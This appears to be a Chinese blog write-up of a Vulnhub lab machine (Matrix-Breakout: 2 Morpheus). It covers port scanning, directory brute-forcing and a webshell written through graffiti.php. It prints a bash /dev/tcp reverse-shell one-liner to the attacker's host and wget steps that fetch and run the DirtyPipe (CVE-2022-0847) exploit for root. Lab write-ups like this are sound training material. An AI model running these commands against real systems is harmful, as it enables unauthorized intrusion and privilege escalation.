Vulnhub: Matrix-Breakout: 2 Morpheus靶机

发布时间 2023-06-11 00:56:05作者: ctostm

kali:192.168.111.111

靶机:192.168.111.130

信息收集

端口扫描

nmap -A -sC -v -sV -T5 -p- --script=http-enum 192.168.111.130

image

目录爆破

feroxbuster -k -d 1 --url http://192.168.111.130 -w /opt/zidian/SecLists-2022.2/Discovery/Web-Content/directory-list-lowercase-2.3-big.txt -x php,bak,txt,html,sql,zip,phtml,sh,pcapng,pcap -t 1 -e -C 404,500

image

graffiti.php页面的文本框输入内容会写入graffiti.txt

image

image

用burp改包写入webshell

image

image

image

反弹shell需要url编码后再执行

bash -c 'exec bash -i >& /dev/tcp/192.168.111.111/4444 0>&1'

image

image

提权

用linpeas.sh收集到目标存在CVE-2022-0847,exp地址:https://github.com/Arinerron/CVE-2022-0847-DirtyPipe-Exploit

image

利用过程

#kali开启http服务
python3 -m http.server

#目标上执行
wget http://192.168.111.111:8000/exploit.c
wget http://192.168.111.111:8000/compile.sh
chmod 777 compile.sh
./compile.sh
./exploit
su root			#root用户的密码被改为aaron

image

image

flag

image